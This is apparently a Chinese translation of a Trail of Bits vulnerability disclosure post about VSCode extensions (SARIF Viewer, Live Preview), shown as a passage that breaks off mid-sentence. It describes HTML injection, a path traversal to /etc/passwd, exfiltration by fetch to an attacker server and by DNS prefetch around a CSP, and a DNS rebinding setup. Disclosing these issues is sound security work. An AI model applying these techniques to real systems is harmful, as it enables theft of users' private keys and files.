突破错误配置的VSCode扩展 - Trail of Bits博客
Vasco Franco
2023年2月21日
漏洞利用, 漏洞披露
TL;DR: 这个由两部分组成的博客系列将介绍我如何在VSCode扩展中发现并披露了三个漏洞,以及在VSCode本身中发现的一个漏洞(安全缓解绕过,被分配了CVE-2022-41042并获得7500美元奖金)。我们将识别每个漏洞的根本原因,并创建完整的工作漏洞利用程序,以演示攻击者如何入侵您的机器。我们还将推荐防止类似问题发生的方法。
几个月前,我决定评估我们在审计期间经常使用的一些VSCode扩展的安全性。特别地,我查看了两个Microsoft扩展:SARIF查看器(帮助可视化静态分析结果)和Live Preview(直接在VSCode中渲染HTML文件)。
为什么您应该关心VSCode扩展的安全性?正如我们将演示的,VSCode扩展中的漏洞——特别是那些解析可能不受信任输入的漏洞——可能导致您的本地机器被入侵。在我审查的两个扩展中,我都发现了一个高严重性错误,允许攻击者窃取您所有的本地文件。利用其中一个错误,如果您在扩展在后台运行时访问恶意网站,攻击者甚至可能窃取您的SSH密钥。
在这项研究中,我了解了VSCode Webviews——在独立于主扩展的上下文中运行的沙盒化UI面板,类似于普通网站中的iframe——并研究了逃逸它们的途径。在这篇文章中,我们将深入探讨VSCode Webviews是什么,并分析VSCode扩展中的三个漏洞,其中两个导致任意本地文件泄露。我们还将研究一些有趣的利用技巧:使用DNS泄露文件以绕过限制性内容安全策略(CSP)策略,使用srcdoc iframe执行JavaScript,以及使用DNS重绑定提升我们漏洞利用的影响。
在即将发布的博客文章中,我们将研究VSCode本身的一个错误,即使是在配置良好的扩展中,也允许我们逃逸Webview的沙盒。
VSCode Webviews
在深入探讨错误之前,了解VSCode扩展的结构非常重要。VSCode是一个具有访问文件系统和执行任意shell命令权限的Electron应用程序;扩展具有所有相同的权限。这意味着如果攻击者可以在VSCode扩展中执行JavaScript(例如,通过XSS漏洞),他们可以实现系统的完全入侵。
作为针对XSS漏洞的深度防御保护,扩展必须在沙盒化的Webviews内创建UI面板。这些Webviews无法访问NodeJS API,这些API允许主扩展读取文件和运行shell命令。Webviews可以通过几个选项进一步限制:
enableScripts
:如果设置为false,则阻止Webview执行JavaScript。大多数扩展需要enableScripts: true
。localResourceRoots
:阻止Webviews访问localResourceRoots
中指定目录之外的文件。默认是当前工作空间目录和扩展的文件夹。Content-Security-Policy
:通过限制Webview可以加载内容的来源(图像、CSS、脚本等)来减轻XSS漏洞的影响。策略通过Webview的HTML源代码的meta标签添加,例如:<meta http-equiv="Content-Security-Policy" content="default-src 'none';">
有时,这些Webview面板需要与主扩展通信以传递一些数据或请求它们无法自行执行的特权操作。这种通信通过使用postMessage()
API实现。
下面是一个简单的、带注释的示例,说明如何创建Webview以及如何在主扩展和Webview之间传递消息。
创建Webview的简单扩展示例
如果以下条件成立,Webview内的XSS漏洞不应导致入侵:localResourceRoots
正确设置,CSP正确限制可以加载内容的来源,并且没有postMessage
处理程序容易受到命令注入等问题的影响。尽管如此,您不应允许在Webview内任意执行不受信任的JavaScript;这些安全功能是作为深度防御保护而设置的。这类似于浏览器不允许渲染器进程执行任意代码,即使它是沙盒化的。
您可以在VSCode的Webviews文档中阅读更多关于Webviews及其安全模型的信息。
现在我们对Webviews有了更好的了解,让我们看看我在研究中发现的三个漏洞,以及我如何逃逸Webviews并在两个由Microsoft构建的VSCode扩展中泄露本地文件。
漏洞1:Microsoft的SARIF查看器中的HTML/JavaScript注入
Microsoft的SARIF查看器是一个VSCode扩展,它解析SARIF文件——一种基于JSON的文件格式,大多数静态分析工具将其结果输出到其中——并在可浏览的列表中显示它们。
由于我在所有审计中使用SARIF查看器扩展来分类静态分析结果,我想知道它在加载不受信任的SARIF文件方面的保护程度如何。这些不受信任的文件可以从不受信任的来源下载,或者更可能的是,运行静态分析工具(如CodeQL或Semgrep)的结果,其中包含可以操纵结果SARIF文件的恶意规则(例如,发现的描述)。
在检查呈现SARIF数据的代码时,我遇到了一个看起来可疑的代码片段,其中静态分析结果的描述是使用ReactMarkdown
类呈现的,escapeHtml
选项设置为false。
不安全地呈现从SARIF文件解析的发现描述的代码(来源)
由于HTML未被转义,通过控制结果消息的markdown字段,我们可以在Webview中注入任意HTML和JavaScript。我快速创建了一个概念验证(PoC),使用具有无效源的img的onerror处理程序自动执行JavaScript。
触发SARIF查看器扩展中JavaScript执行的SARIF文件部分
它起作用了!下图显示了漏洞利用的实际效果。
PoC漏洞利用实际效果。右侧,我们看到注入DOM的JavaScript。左侧,我们看到它被渲染的位置。
这是简单的部分。现在,我们需要通过获取敏感的本地文件并将其泄露到我们的服务器来武器化这个错误。
获取本地文件
我们的HTML注入位于Webview内部,正如我们所看到的,它仅限于读取其localResourceRoots
内的文件。Webview是使用以下代码创建的:
在SARIF查看器扩展中创建Webview的代码,带有不安全的localResourceRoots选项(来源)
正如我们所看到的,localResourceRoots
配置得非常差。它允许Webview从磁盘上的任何位置读取文件,直到z:驱动器!这意味着我们可以读取任何我们想要的文件——例如,用户的私钥在~/.ssh/id_rsa
。
在Webview内部,我们无法打开和读取文件,因为我们无法访问NodeJS API。相反,我们向https://file+.vscode-resource.vscode-cdn.net/
发起fetch请求,文件内容在响应中发送(如果文件存在并且在localResourceRoots
路径内)。
泄露文件
现在,我们只需要将文件内容发送到我们的远程服务器。通常,这很容易;我们会向我们控制的服务器发起fetch请求,文件内容在POST主体或GET参数中(例如,fetch('https://our.server.com?q=')
)。
然而,Webview有一个相当限制性的CSP。特别是,connect-src
指令将fetch限制为self和https://*.vscode-cdn.net
。由于我们不控制任一来源,我们无法向我们控制的攻击者服务器发起fetch请求。
SARIF查看器扩展Webview的CSP(来源)
我们可以通过,您猜对了,DNS来规避这个限制!通过注入带有rel="dns-prefetch"
属性的<link>
标签,我们可以在子域中泄露文件内容,即使有限制性的CSP connect-src
指令。
使用DNS泄露文件以绕过限制性CSP的HTML代码示例
要泄露文件,我们只需要将文件编码为十六进制,并在DOM中注入<link>
标签,其中href指向我们控制的攻击者服务器,编码的文件内容在子域中。我们只需要确保每个子域最多有64个字符(包括.s),并且整个子域少于256个字符。
全部整合
通过结合这些技术,我们可以构建一个漏洞利用程序,泄露用户的$HOME/.ssh/id_rsa
文件。以下是带注释的漏洞利用程序:
当用户在SARIF查看器扩展中打开受损的SARIF文件时窃取用户私钥的漏洞利用程序
这一切都是可能的,因为扩展使用了ReactMarkdown
组件,其中escapeHtml = {false}
选项,允许攻击者部分控制SARIF文件以在Webview中注入JavaScript。由于非常宽松的localResourceRoots
,攻击者可以从用户的文件系统中获取任何文件。如果使用更严格的localResourceRoots
,这个漏洞是否仍然可利用?等待第二篇博客文章!;)
为了自动检测这些问题,我们在PR #2307中改进了Semgrep现有的ReactMarkdown规则。使用semgrep --config "p/react"
针对React代码库尝试它。
漏洞2:Microsoft的Live Preview扩展中的HTML/JavaScript注入
Microsoft的Live Preview是一个拥有超过100万安装量的VSCode扩展,允许您直接在VSCode中的嵌入式浏览器中预览当前工作空间中的HTML文件。我想了解是否可以使用扩展安全地预览恶意HTML文件。
扩展首先在端口3000上创建一个本地HTTP服务器,托管当前工作空间目录及其所有文件。然后,为了渲染文件,它在Webview面板内创建一个指向本地HTTP服务器的iframe(例如,iframe src="http://localhost:3000/file.html"
)。(沙盒中的沙盒!)这种架构允许文件执行JavaScript而不影响主Webview。
内部预览iframe和外部Webview使用postMessage
API进行通信。如果我们想在Webview中注入HTML/JavaScript,它的postMessage
处理程序是一个很好的起点!
寻找HTML/JavaScript注入
我们不必费力寻找!link-hover-start
处理程序容易受到HTML注入,因为它直接将来自iframe消息(我们控制其内容)的输入传递给Webview元素的innerHTML
属性,而没有任何清理。这允许攻击者控制Webview HTML的一部分。
Webview元素的innerHTML设置为正在预览的HTML文件中起源的消息内容的代码。(来源)
使用srcdoc iframe实现JavaScript执行
将innerHTML
设置为<script> console.log('HELLO'); </script>
的简单方法不起作用,因为脚本被添加到DOM但不会加载。幸运的是,我们可以使用一个巧妙的技巧来规避这个限制:将脚本写在srcdoc iframe内部,如下图所示。
使用srcdoc iframe在设置为DOM元素的innerHTML时触发JavaScript执行的PoC
浏览器认为srcdoc iframe与其父窗口具有相同的来源。因此,即使我们刚刚逃逸了一个iframe并注入了另一个,这个srcdoc iframe将有权访问Webview的DOM、全局变量和函数。
缺点是iframe现在受与Webview相同的CSP统治。
|
|
Live Preview扩展Webview的CSP(来源)
与第一个漏洞相比,这个CSP的script-src
指令不包括unsafe-inline
,而是使用基于nonce的script-src
。这意味着我们需要知道nonce才能注入我们的任意JavaScript。我们有几种方法可以实现这一点:暴力破解nonce,由于随机性差而恢复nonce,或泄露nonce。
nonce是使用以下代码生成的:
生成Live Preview扩展Webview CSP中使用的nonce的代码(来源)
暴力破解nonce
虽然我们可以随意尝试尽可能多的nonce而不会产生后果,但nonce的长度为64,字母表为62个字符,所以在我们找到正确的nonce之前宇宙就会终结。
由于随机性差而恢复nonce
敏锐的读者可能已经注意到,nonce生成函数使用Math.random
,一个密码学上不安全的随机数生成器。Math.random
在幕后使用xorshift128+算法,并且,给定X个随机数,我们可以恢复算法的内部状态并预测过去和未来的随机数。例如,参见关于V8的Math.random实际利用的会议演讲,以及状态恢复的实现。
我的想法是在我们的内部iframe中重复调用Math.Random
,并恢复用于生成nonce的状态。然而,内部iframe、外部Webview和创建随机nonce的主扩展具有不同的内部算法状态实例;我们无法通过这种方式恢复nonce。
泄露nonce
最后的选择是泄露nonce。我搜索了Webview代码中向内部iframe(我们控制的那个)发送数据的postMessage
处理程序,希望我们能以某种方式潜入nonce。
我们最好的选择是findNext
函数,它将find-input元素的值发送到我们的iframe。
显示Webview将find-input值的内容发送到预览页面的代码(来源)
我的目标是以某种方式使Webview将nonce附加到我们将使用HTML注入注入的“假”find-input元素。我梦想注入一个不完整的元素,如<input id="find-input" value="
:这将创建一个带有find-input ID的“假”元素,并打开其value属性而不关闭它。然而,这注定要失败,原因有多种。首先,我们无法从我们设置innerHTML的元素中逃逸,并且由于我们完整地编写它,它永远不可能包含nonce。其次,DOM解析器不解析上面示例中的HTML;我们的元素只是留空。最后,document.getElementById('find-input')
总是找到已存在的元素,而不是我们注入的元素。
在这一点上,我陷入了死胡同;CSP有效地阻止了完整的漏洞利用。但我想要更多!在下一个漏洞中,我们将看看我用来完全利用Live Preview扩展而无需在Webview中注入任何JavaScript的另一个错误。
漏洞3:Microsoft的Live Preview扩展中本地HTTP服务器的路径遍历
由于我们无法绕过CSP,我认为另一个有趣的研究地方是提供要预览的HTML文件的本地HTTP服务器。我们可以从中获取任意文件,还是只能获取当前工作空间中的文件?
HTTP服务器将提供当前工作空间中的任何文件,允许HTML文件加载同一工作空间中的JavaScript文件或图像。因此,如果您在当前工作空间中有敏感文件并在同一工作空间中预览恶意HTML文件,恶意文件可以轻松获取并泄露敏感文件。但这是设计使然,并且用户的工作空间不太可能同时包含恶意和敏感文件。我们能更进一步并从文件系统其他地方泄露文件吗?
以下是处理每个HTTP请求的代码的简化版本。
服务Live Preview扩展本地HTTP服务器的代码(来源)
我的目标是找到一个路径遍历漏洞,允许我逃逸basePath
根目录。
寻找路径遍历错误
调用fetch("../../../../../../etc/passwd")
的简单方法不起作用,因为浏览器将请求规范化为fetch("/etc/passwd")
。然而,服务器逻辑并不防止这种路径遍历攻击;以下cURL命令检索/etc/passwd
文件!
|
|
演示服务器不防止路径遍历攻击的cURL命令
这无法通过浏览器实现,因此这种利用路径不可行。然而,我注意到浏览器和HTTP服务器在解析URL的方式上存在细微差异,可能允许我们完成路径遍历攻击。服务器使用手动编码的逻辑来解析URL的查询字符串,而不是使用JavaScript URL类,如下面的代码片段所示。
使用手动编码逻辑解析URL查询字符串的代码(来源)
这段代码使用lastIndexOf('?')
从URL中拆分查询字符串。然而,浏览器将从第一个?
索引解析查询字符串。通过获取?../../../../../../etc/passwd?AAA
,浏览器不会规范化../
序列,因为它们从浏览器的角度来看是查询字符串的一部分(下图中绿色部分)。从服务器的角度来看(下图中蓝色部分),只有AAA
是查询字符串的一部分,因此URLPathName
变量将被设置为?../../../../../../etc/passwd
,完整路径将通过path.join(basePath ?? '', URLPathName)
规范化为/etc/passwd
。我们有一个路径遍历!
浏览器和服务器之间URL解析差异
利用场景1
如果攻击者控制用户使用VSCode Live Preview扩展打开的文件,他们可以使用此路径遍历泄露任意用户文件和文件夹。
与漏洞1相比,这个漏洞利用非常简单。它遵循以下简单步骤:
- 从正在预览的HTML文件中,获取我们想要泄露的文件或目录,使用
fetch("http://127.0.0.1:3000/?../../../../../../../../../etc/passwd?")
。(注意,即使没有CORS策略,我们也可以看到fetch结果,因为我们的漏洞利用文件也托管在http://127.0.0.1:3000
来源上。) - 使用
leaked_file_b64 = btoa(leaked_file)
将文件内容编码为base64。 - 使用
fetch("http://?q=" + leaked_file_b64)
将编码的文件发送到我们控制的攻击者服务器。
以下是带注释的漏洞利用程序:
当用户使用Live Preview扩展预览恶意HTML文件时泄露本地文件的漏洞利用程序
利用场景2
先前的攻击场景仅在用户预览攻击者控制的文件时有效,但使用该漏洞利用将非常困难。但我们可以更进一步!我们可以通过仅要求受害者在Live Preview HTTP服务器在后台运行时访问攻击者的网站,使用DNS重绑定——一种利用未经身份验证的内部服务的常见技术——来增加漏洞的影响。
在DNS重绑定攻击中,攻击者将域的DNS记录在两个IP之间更改——攻击者服务器的IP和本地服务器的IP(通常是127.0.0.1)。然后,通过使用JavaScript获取这个变化的域,攻击者将欺骗浏览器访问本地服务器而没有任何CORS警告,因为来源保持不变。有关DNS重绑定攻击的更完整解释,请参阅此博客文章。
要设置我们的漏洞利用,我们将执行以下操作:
- 在192.168.13.128:3000托管我们控制的带有漏洞利用的攻击者服务器。
- 使用rbndr服务与7f000001.c0a80d80.rbndr.us域,将其DNS记录在192.168.13.128和127.0.0.1之间翻转。
(注意:如果您想重现此设置,请确保运行
host 7f000001.c0a80d80.rbndr.us
将在两个IP之间交替。这在我的Linux机器上完美工作,使用8.8.8.8作为DNS服务器。)
要窃取受害者的本地文件,我们需要让他们浏览到7f000001.c0a80d80.rbndr.us URL,